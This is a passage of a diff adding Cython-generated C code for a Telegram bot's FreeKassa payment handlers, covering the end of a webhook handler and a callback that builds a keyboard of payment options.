amount = float(data["amount"]) + */ + } + + /* "handlers/payments/freekassa_pay.py":84 + * await send_payment_success_notification(user_id, amount) + * + * return web.Response(status=200) # <<<<<<<<<<<<<< + * + * + */ + __Pyx_XDECREF(__pyx_r); + __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_web); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 84, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_Response); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 84, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_t_5 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 84, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + if (PyDict_SetItem(__pyx_t_5, __pyx_n_s_status, __pyx_int_200) < 0) __PYX_ERR(0, 84, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_empty_tuple, __pyx_t_5); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 84, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_r = NULL; __Pyx_ReturnWithStopIteration(__pyx_t_3); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + goto __pyx_L0; + CYTHON_MAYBE_UNUSED_VAR(__pyx_cur_scope); + + /* "handlers/payments/freekassa_pay.py":70 + * + * + * async def freekassa_webhook(request): # <<<<<<<<<<<<<< + * data = await request.json() + * logging.debug(f" FreeKassa: {data}") + */ + + /* function exit code */ + __pyx_L1_error:; + __Pyx_Generator_Replace_StopIteration(0); + __Pyx_XDECREF(__pyx_t_1); + __Pyx_XDECREF(__pyx_t_2); + __Pyx_XDECREF(__pyx_t_3); + __Pyx_XDECREF(__pyx_t_5); + __Pyx_XDECREF(__pyx_t_8); + __Pyx_AddTraceback("freekassa_webhook", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_L0:; + __Pyx_XDECREF(__pyx_r); __pyx_r = 0; + #if !CYTHON_USE_EXC_INFO_STACK + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + #endif + __pyx_generator->resume_label = -1; + __Pyx_Coroutine_clear((PyObject*)__pyx_generator); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} +static PyObject *__pyx_gb_8handlers_8payments_13freekassa_pay_10generator2(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value); /* proto */ + +/* "handlers/payments/freekassa_pay.py":87 + * + * + * @router.callback_query(lambda c: c.data == "pay_freekassa") # <<<<<<<<<<<<<< + * async def process_callback_pay_freekassa( + * callback_query: types.CallbackQuery, state: FSMContext + */ + +/* Python wrapper */ +static PyObject *__pyx_pw_8handlers_8payments_13freekassa_pay_9process_callback_pay_freekassa(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +); /*proto*/ +static PyMethodDef __pyx_mdef_8handlers_8payments_13freekassa_pay_9process_callback_pay_freekassa = {"process_callback_pay_freekassa", (PyCFunction)(void*)(__Pyx_PyCFunction_FastCallWithKeywords)__pyx_pw_8handlers_8payments_13freekassa_pay_9process_callback_pay_freekassa, __Pyx_METH_FASTCALL|METH_KEYWORDS, 0}; +static PyObject *__pyx_pw_8handlers_8payments_13freekassa_pay_9process_callback_pay_freekassa(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +) { + PyObject *__pyx_v_callback_query = 0; + PyObject *__pyx_v_state = 0; + #if !CYTHON_METH_FASTCALL + CYTHON_UNUSED Py_ssize_t __pyx_nargs; + #endif + CYTHON_UNUSED PyObject *const *__pyx_kwvalues; + PyObject* values[2] = {0,0}; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + PyObject *__pyx_r = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("process_callback_pay_freekassa (wrapper)", 0); + #if !CYTHON_METH_FASTCALL + #if CYTHON_ASSUME_SAFE_MACROS + __pyx_nargs = PyTuple_GET_SIZE(__pyx_args); + #else + __pyx_nargs = PyTuple_Size(__pyx_args); if (unlikely(__pyx_nargs < 0)) return NULL; + #endif + #endif + __pyx_kwvalues = __Pyx_KwValues_FASTCALL(__pyx_args, __pyx_nargs); + { + PyObject **__pyx_pyargnames[] = {&__pyx_n_s_callback_query,&__pyx_n_s_state,0}; + if (__pyx_kwds) { + Py_ssize_t kw_args; + switch (__pyx_nargs) { + case 2: values[1] = __Pyx_Arg_FASTCALL(__pyx_args, 1); + CYTHON_FALLTHROUGH; + case 1: values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + CYTHON_FALLTHROUGH; + case 0: break; + default: goto __pyx_L5_argtuple_error; + } + kw_args = __Pyx_NumKwargs_FASTCALL(__pyx_kwds); + switch (__pyx_nargs) { + case 0: + if (likely((values[0] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_callback_query)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[0]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 87, __pyx_L3_error) + else goto __pyx_L5_argtuple_error; + CYTHON_FALLTHROUGH; + case 1: + if (likely((values[1] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_state)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[1]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 87, __pyx_L3_error) + else { + __Pyx_RaiseArgtupleInvalid("process_callback_pay_freekassa", 1, 2, 2, 1); __PYX_ERR(0, 87, __pyx_L3_error) + } + } + if (unlikely(kw_args > 0)) { + const Py_ssize_t kwd_pos_args = __pyx_nargs; + if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "process_callback_pay_freekassa") < 0)) __PYX_ERR(0, 87, __pyx_L3_error) + } + } else if (unlikely(__pyx_nargs != 2)) { + goto __pyx_L5_argtuple_error; + } else { + values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + values[1] = __Pyx_Arg_FASTCALL(__pyx_args, 1); + } + __pyx_v_callback_query = values[0]; + __pyx_v_state = values[1]; + } + goto __pyx_L6_skip; + __pyx_L5_argtuple_error:; + __Pyx_RaiseArgtupleInvalid("process_callback_pay_freekassa", 1, 2, 2, __pyx_nargs); __PYX_ERR(0, 87, __pyx_L3_error) + __pyx_L6_skip:; + goto __pyx_L4_argument_unpacking_done; + __pyx_L3_error:; + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_AddTraceback("handlers.payments.freekassa_pay.process_callback_pay_freekassa", __pyx_clineno, __pyx_lineno, __pyx_filename); + __Pyx_RefNannyFinishContext(); + return NULL; + __pyx_L4_argument_unpacking_done:; + __pyx_r = __pyx_pf_8handlers_8payments_13freekassa_pay_8process_callback_pay_freekassa(__pyx_self, __pyx_v_callback_query, __pyx_v_state); + + /* function exit code */ + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_pf_8handlers_8payments_13freekassa_pay_8process_callback_pay_freekassa(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_callback_query, PyObject *__pyx_v_state) { + struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_3_process_callback_pay_freekassa *__pyx_cur_scope; + PyObject *__pyx_r = NULL; + __Pyx_RefNannyDeclarations + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannySetupContext("process_callback_pay_freekassa", 0); + __pyx_cur_scope = (struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_3_process_callback_pay_freekassa *)__pyx_tp_new_8handlers_8payments_13freekassa_pay___pyx_scope_struct_3_process_callback_pay_freekassa(__pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct_3_process_callback_pay_freekassa, __pyx_empty_tuple, NULL); + if (unlikely(!__pyx_cur_scope)) { + __pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_3_process_callback_pay_freekassa *)Py_None); + __Pyx_INCREF(Py_None); + __PYX_ERR(0, 87, __pyx_L1_error) + } else { + __Pyx_GOTREF((PyObject *)__pyx_cur_scope); + } + __pyx_cur_scope->__pyx_v_callback_query = __pyx_v_callback_query; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_callback_query); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_callback_query); + __pyx_cur_scope->__pyx_v_state = __pyx_v_state; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_state); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_state); + { + __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_13freekassa_pay_10generator2, __pyx_codeobj__6, (PyObject *) __pyx_cur_scope, __pyx_n_s_process_callback_pay_freekassa, __pyx_n_s_process_callback_pay_freekassa, __pyx_n_s_handlers_payments_freekassa_pay); if (unlikely(!gen)) __PYX_ERR(0, 87, __pyx_L1_error) + __Pyx_DECREF(__pyx_cur_scope); + __Pyx_RefNannyFinishContext(); + return (PyObject *) gen; + } + + /* function exit code */ + __pyx_L1_error:; + __Pyx_AddTraceback("handlers.payments.freekassa_pay.process_callback_pay_freekassa", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_r = NULL; + __Pyx_DECREF((PyObject *)__pyx_cur_scope); + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_gb_8handlers_8payments_13freekassa_pay_10generator2(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value) /* generator body */ +{ + struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_3_process_callback_pay_freekassa *__pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_3_process_callback_pay_freekassa *)__pyx_generator->closure); + PyObject *__pyx_r = NULL; + PyObject *__pyx_t_1 = NULL; + PyObject *__pyx_t_2 = NULL; + PyObject *__pyx_t_3 = NULL; + unsigned int __pyx_t_4; + Py_ssize_t __pyx_t_5; + PyObject *(*__pyx_t_6)(PyObject *); + Py_ssize_t __pyx_t_7; + PyObject *__pyx_t_8 = NULL; + int __pyx_t_9; + PyObject *__pyx_t_10 = NULL; + PyObject *__pyx_t_11 = NULL; + PyObject *__pyx_t_12 = NULL; + PyObject *__pyx_t_13 = NULL; + PyObject *__pyx_t_14 = NULL; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("process_callback_pay_freekassa", 0); + switch (__pyx_generator->resume_label) { + case 0: goto __pyx_L3_first_run; + case 1: goto __pyx_L8_resume_from_await; + case 2: goto __pyx_L9_resume_from_await; + default: /* CPython raises the right error here */ + __Pyx_RefNannyFinishContext(); + return NULL; + } + __pyx_L3_first_run:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 87, __pyx_L1_error) + + /* "handlers/payments/freekassa_pay.py":91 + * callback_query: types.CallbackQuery, state: FSMContext + * ): + * builder = InlineKeyboardBuilder() # <<<<<<<<<<<<<< + * for i in range(0, len(PAYMENT_OPTIONS), 2): + * if i + 1 < len(PAYMENT_OPTIONS): + */ + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_InlineKeyboardBuilder); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 91, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_3 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_2))) { + __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_2); + if (likely(__pyx_t_3)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); + __Pyx_INCREF(__pyx_t_3); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_2, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_3, NULL}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 91, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + } + __Pyx_GIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_v_builder = __pyx_t_1; + __pyx_t_1 = 0; + + /* "handlers/payments/freekassa_pay.py":92 + * ): + * builder = InlineKeyboardBuilder() + * for i in range(0, len(PAYMENT_OPTIONS), 2): # <<<<<<<<<<<<<< + * if i + 1 < len(PAYMENT_OPTIONS): + * builder.row( + */ + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 92, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_5 = PyObject_Length(__pyx_t_1); if (unlikely(__pyx_t_5 == ((Py_ssize_t)-1))) __PYX_ERR(0, 92, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_t_1 = PyInt_FromSsize_t(__pyx_t_5); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 92, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_2 = PyTuple_New(3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 92, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_INCREF(__pyx_int_0); + __Pyx_GIVEREF(__pyx_int_0); + if (__Pyx_PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_int_0)) __PYX_ERR(0, 92, __pyx_L1_error); + __Pyx_GIVEREF(__pyx_t_1); + if (__Pyx_PyTuple_SET_ITEM(__pyx_t_2, 1, __pyx_t_1)) __PYX_ERR(0, 92, __pyx_L1_error); + __Pyx_INCREF(__pyx_int_2); + __Pyx_GIVEREF(__pyx_int_2); + if (__Pyx_PyTuple_SET_ITEM(__pyx_t_2, 2, __pyx_int_2)) __PYX_ERR(0, 92, __pyx_L1_error); + __pyx_t_1 = 0; + __pyx_t_1 = __Pyx_PyObject_Call(__pyx_builtin_range, __pyx_t_2, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 92, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + if (likely(PyList_CheckExact(__pyx_t_1)) || PyTuple_CheckExact(__pyx_t_1)) { + __pyx_t_2 = __pyx_t_1; __Pyx_INCREF(__pyx_t_2); + __pyx_t_5 = 0; + __pyx_t_6 = NULL; + } else { + __pyx_t_5 = -1; __pyx_t_2 = PyObject_GetIter(__pyx_t_1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 92, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_6 = __Pyx_PyObject_GetIterNextFunc(__pyx_t_2); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 92, __pyx_L1_error) + } + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + for (;;) { + if (likely(!__pyx_t_6)) { + if (likely(PyList_CheckExact(__pyx_t_2))) { + { + Py_ssize_t __pyx_temp = __Pyx_PyList_GET_SIZE(__pyx_t_2); + #if !CYTHON_ASSUME_SAFE_MACROS + if (unlikely((__pyx_temp < 0))) __PYX_ERR(0, 92, __pyx_L1_error) + #endif + if (__pyx_t_5 >= __pyx_temp) break; + } + #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS + __pyx_t_1 = PyList_GET_ITEM(__pyx_t_2, __pyx_t_5); __Pyx_INCREF(__pyx_t_1); __pyx_t_5++; if (unlikely((0 < 0))) __PYX_ERR(0, 92, __pyx_L1_error) + #else + __pyx_t_1 = __Pyx_PySequence_ITEM(__pyx_t_2, __pyx_t_5); __pyx_t_5++; if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 92, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + #endif + } else { + { + Py_ssize_t __pyx_temp = __Pyx_PyTuple_GET_SIZE(__pyx_t_2); + #if !CYTHON_ASSUME_SAFE_MACROS + if (unlikely((__pyx_temp < 0))) __PYX_ERR(0, 92, __pyx_L1_error) + #endif + if (__pyx_t_5 >= __pyx_temp) break; + } + #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS + __pyx_t_1 = PyTuple_GET_ITEM(__pyx_t_2, __pyx_t_5); __Pyx_INCREF(__pyx_t_1); __pyx_t_5++; if (unlikely((0 < 0))) __PYX_ERR(0, 92, __pyx_L1_error) + #else + __pyx_t_1 = __Pyx_PySequence_ITEM(__pyx_t_2, __pyx_t_5); __pyx_t_5++; if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 92, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + #endif + } + } else { + __pyx_t_1 = __pyx_t_6(__pyx_t_2); + if (unlikely(!__pyx_t_1)) { + PyObject* exc_type = PyErr_Occurred(); + if (exc_type) { + if (likely(__Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration))) PyErr_Clear(); + else __PYX_ERR(0, 92, __pyx_L1_error) + } + break; + } + __Pyx_GOTREF(__pyx_t_1); + } + __Pyx_XGOTREF(__pyx_cur_scope->__pyx_v_i); + __Pyx_XDECREF_SET(__pyx_cur_scope->__pyx_v_i, __pyx_t_1); + __Pyx_GIVEREF(__pyx_t_1); + __pyx_t_1 = 0; + + /* "handlers/payments/freekassa_pay.py":93 + * builder = InlineKeyboardBuilder() + * for i in range(0, len(PAYMENT_OPTIONS), 2): + * if i + 1 < len(PAYMENT_OPTIONS): # <<<<<<<<<<<<<< + * builder.row( + * InlineKeyboardButton( + */ + __pyx_t_1 = __Pyx_PyInt_AddObjC(__pyx_cur_scope->__pyx_v_i, __pyx_int_1, 1, 0, 0); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 93, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 93, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_7 = PyObject_Length(__pyx_t_3); if (unlikely(__pyx_t_7 == ((Py_ssize_t)-1))) __PYX_ERR(0, 93, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = PyInt_FromSsize_t(__pyx_t_7); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 93, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_8 = PyObject_RichCompare(__pyx_t_1, __pyx_t_3, Py_LT); __Pyx_XGOTREF(__pyx_t_8); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 93, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_9 = __Pyx_PyObject_IsTrue(__pyx_t_8); if (unlikely((__pyx_t_9 < 0))) __PYX_ERR(0, 93, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + if (__pyx_t_9) { + + /* "handlers/payments/freekassa_pay.py":94 + * for i in range(0, len(PAYMENT_OPTIONS), 2): + * if i + 1 < len(PAYMENT_OPTIONS): + * builder.row( # <<<<<<<<<<<<<< + * InlineKeyboardButton( + * text=PAYMENT_OPTIONS[i]["text"], + */ + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 94, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + + /* "handlers/payments/freekassa_pay.py":95 + * if i + 1 < len(PAYMENT_OPTIONS): + * builder.row( + * InlineKeyboardButton( # <<<<<<<<<<<<<< + * text=PAYMENT_OPTIONS[i]["text"], + * callback_data=f'freekassa_{PAYMENT_OPTIONS[i]["callback_data"]}', + */ + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 95, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + + /* "handlers/payments/freekassa_pay.py":96 + * builder.row( + * InlineKeyboardButton( + * text=PAYMENT_OPTIONS[i]["text"], # <<<<<<<<<<<<<< + * callback_data=f'freekassa_{PAYMENT_OPTIONS[i]["callback_data"]}', + * ), + */ + __pyx_t_10 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 96, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_10); + __Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 96, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + __pyx_t_12 = __Pyx_PyObject_GetItem(__pyx_t_11, __pyx_cur_scope->__pyx_v_i); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 96, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_12); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __pyx_t_11 = __Pyx_PyObject_Dict_GetItem(__pyx_t_12, __pyx_n_u_text); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 96, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; + if (PyDict_SetItem(__pyx_t_10, __pyx_n_s_text, __pyx_t_11) < 0) __PYX_ERR(0, 96, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + + /* "handlers/payments/freekassa_pay.py":97 + * InlineKeyboardButton( + * text=PAYMENT_OPTIONS[i]["text"], + * callback_data=f'freekassa_{PAYMENT_OPTIONS[i]["callback_data"]}', # <<<<<<<<<<<<<< + * ), + * InlineKeyboardButton( + */ + __Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 97, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + __pyx_t_12 = __Pyx_PyObject_GetItem(__pyx_t_11, __pyx_cur_scope->__pyx_v_i); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 97, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_12); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __pyx_t_11 = __Pyx_PyObject_Dict_GetItem(__pyx_t_12, __pyx_n_u_callback_data); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 97, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; + __pyx_t_12 = __Pyx_PyObject_FormatSimple(__pyx_t_11, __pyx_empty_unicode); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 97, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_12); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __pyx_t_11 = __Pyx_PyUnicode_Concat(__pyx_n_u_freekassa_2, __pyx_t_12); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 97, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; + if (PyDict_SetItem(__pyx_t_10, __pyx_n_s_callback_data, __pyx_t_11) < 0) __PYX_ERR(0, 96, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + + /* "handlers/payments/freekassa_pay.py":95 + * if i + 1 < len(PAYMENT_OPTIONS): + * builder.row( + * InlineKeyboardButton( # <<<<<<<<<<<<<< + * text=PAYMENT_OPTIONS[i]["text"], + * callback_data=f'freekassa_{PAYMENT_OPTIONS[i]["callback_data"]}', + */ + __pyx_t_11 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_empty_tuple, __pyx_t_10); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 95, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; + + /* "handlers/payments/freekassa_pay.py":99 + * callback_data=f'freekassa_{PAYMENT_OPTIONS[i]["callback_data"]}', + * ), + * InlineKeyboardButton( # <<<<<<<<<<<<<< + * text=PAYMENT_OPTIONS[i + 1]["text"], + * callback_data=f'freekassa_{PAYMENT_OPTIONS[i + 1]["callback_data"]}', + */ + __Pyx_GetModuleGlobalName(__pyx_t_10, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 99, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_10); + + /* "handlers/payments/freekassa_pay.py":100 + * ), + * InlineKeyboardButton( + * text=PAYMENT_OPTIONS[i + 1]["text"], # <<<<<<<<<<<<<< + * callback_data=f'freekassa_{PAYMENT_OPTIONS[i + 1]["callback_data"]}', + * ), + */ + __pyx_t_1 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 100, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_GetModuleGlobalName(__pyx_t_12, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 100, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_12); + __pyx_t_13 = __Pyx_PyInt_AddObjC(__pyx_cur_scope->__pyx_v_i, __pyx_int_1, 1, 0, 0); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 100, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_13); + __pyx_t_14 = __Pyx_PyObject_GetItem(__pyx_t_12, __pyx_t_13); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 100, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_14); + __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; + __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; + __pyx_t_13 = __Pyx_PyObject_Dict_GetItem(__pyx_t_14, __pyx_n_u_text); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 100, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_13); + __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_text, __pyx_t_13) < 0) __PYX_ERR(0, 100, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; + + /* "handlers/payments/freekassa_pay.py":101 + * InlineKeyboardButton( + * text=PAYMENT_OPTIONS[i + 1]["text"], + * callback_data=f'freekassa_{PAYMENT_OPTIONS[i + 1]["callback_data"]}', # <<<<<<<<<<<<<< + * ), + * ) + */ + __Pyx_GetModuleGlobalName(__pyx_t_13, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 101, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_13); + __pyx_t_14 = __Pyx_PyInt_AddObjC(__pyx_cur_scope->__pyx_v_i, __pyx_int_1, 1, 0, 0); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 101, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_14); + __pyx_t_12 = __Pyx_PyObject_GetItem(__pyx_t_13, __pyx_t_14); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 101, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_12); + __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; + __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; + __pyx_t_14 = __Pyx_PyObject_Dict_GetItem(__pyx_t_12, __pyx_n_u_callback_data); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 101, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_14); + __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; + __pyx_t_12 = 